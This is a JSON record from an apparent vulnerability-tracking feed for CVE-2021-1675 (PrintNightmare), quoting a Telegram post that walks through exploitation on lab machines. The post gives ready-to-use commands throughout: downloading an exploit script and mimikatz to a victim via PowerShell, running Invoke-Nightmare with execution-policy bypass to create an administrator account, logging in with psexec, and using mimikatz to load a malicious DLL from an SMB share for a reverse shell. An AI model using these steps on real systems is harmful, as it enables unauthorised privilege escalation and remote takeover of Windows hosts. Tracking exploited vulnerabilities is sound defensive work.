{"uuid": "d24f6735-303d-4265-aa97-3bc3352912e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/43511", "content": "FdyzeiMeaOByoi6UxaY1rYpMd-Cl25S3av86e5GqOsBg7QqegONtaIzAnkPy9JGnAeKeX2jHcqkmmKLbJRjFSA34EdOC3rmt-0G-XPjEtqE19Lb7l0AdV0kgxlBiOAe64zjyHg1ZQ38ccDB1MpeJ89gmmS3kLLImaxgxTc6Q=s16000 \n\nNow, once the victim is compromised, we can upload this ps1 file in \\Users\\Public directory using IWR and setting up a python http server in the CVE-2021-1675 directory.\ncd CVE-2021-1675\npython3 -m http.server 80\npowershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \\Users\\Public\\cve.ps1\ncd C:\\Users\\Public\ndir \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhV5QX_bfm1HwRTOt7-bbOEh4acNDeHiLp_mWoZXllcQaBEJgPwv5T4Z1b7XSIcG3ep9FMEZsNAfzjH47LQwg2K9_0H1lsYRhZpHw7u_p3U9LOhy87LSPGlH68kYoELn6EnPkOp7SRsweQFAjeZGvYvz4dTs4abBpB7B3yvZEWR0jeLrQG4DYfb5Kcg-w=s16000 \n\nNow, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:\npowershell -ep bypass\nImport-Module .\\cve.ps1\nInvoke-Nightmare -NewUser \"harsh\" -NewPassword \"123\" -DriverName \"PrintMe\" \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiMmenFoAuIRtWOt1XV3NPSMyjB_EeKHQW71ycKwtDxuRzCbezsomgzDP1R94z71PIWxMFQc_3ASWzbG_uvlCOqpivVmXj6l8x_Edpg92Qz8KVm203ho0-NcF7TWjmRYSta14levAffd6xUTTXJ2Z0rcaYg3TSknkcLAyLdeGlIxCU7HrLazhl5kWdTcA=s16000 \n\nAs you can see, the script has made a custom DLL that adds a new user \u201charsh\u201d with password 123 in admin group and the script has exploited print spool.\nnet localgroup administrator \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjm476TN7H3YlvqxDa1dYq4BrUhJUHeUM6B7XA05xAhW9XD3aE0yLp9N4Kphis7HZy_mMiO0GazkeL6sRW8vXJm1smajhy1UJwKOhfpIYKwffUrVISRkd7-e7DdOmuktmfeWYDcY4wigV3HDWXtxrUHN1x6BaC3DwQ-yFRfZyJjC7HG3N7TbYjoCFKYTw=s16000 \n\nWe can confirm this by logging in to the victim using psexec.\npython3 psexec.py harsh:123@192.168.1.190 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhXwS2ULWBm-dVWr2ZZ3fMPCZ3mtvMXMV7a7QNievbmtA0uuvGiuDwjnNBKSSdSaEsT45xbtNXUq6QAmuzftzuPcTny1CGqzUmRYjtmw_tz9EeKiKWe_mk0bn9nyn_XJwTlYM_unfZp6jQtDCQiqz6B0Gym7uUDmolyB3My1fSKoiwLRzCtiZv7HqC3tA=s16000 \n\nWe are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now. Method 3 \u2013 Printnightmare LPE using MimikatzWhen the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file \u201cevil.dll\u201d and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.\npython3 -m http.server 80\npowershell wget http://192.168.1.2/mimikatz.exe -O \\users\\Public\\mimikatz.exe\nmisc::printnightmare /library:\\\\192.168.1.2\\share\\evil.dll /authuser:ignite /authpassword:123 /try:50 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjbPSehsyW5w9-_styKI9fjXjcQxml03A699x7Tvx4YipBMDT7pMyQREXWO81mhpDscJx50ZNFPgXa7lr08Rqxq1aOIpFFUubIAb3-xuhKE_q2kQ-jI8i6_NVEn25Bxe_-E38iiqygysu5p4qKMBTIFT2SnrVpgbGcRmkIHgK0bJhrlpV1E7RkDsSRFcw=s16000 \n\nAs mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEj6yzSnwBZy4M3Cxais8__2qdWrLRnohzaf0NvIni5rdqA4cLYNA4W5MzUtE1sx0_pRvvoxn7PUFH8EQMCrb0DXjnxN7lk797FjBg91YrAD4no7xhXRX_PadTQjUo6qp8QW193t6Rh79vebv1FTDKv68lyjf5_3WjtuEeQEWg-AbldS7P_DJ2YbtPuMyw=s16000 \n\nMake sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!\n\nAnd thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability. Patch StatusMicrosoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin adv[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:30.948236Z"}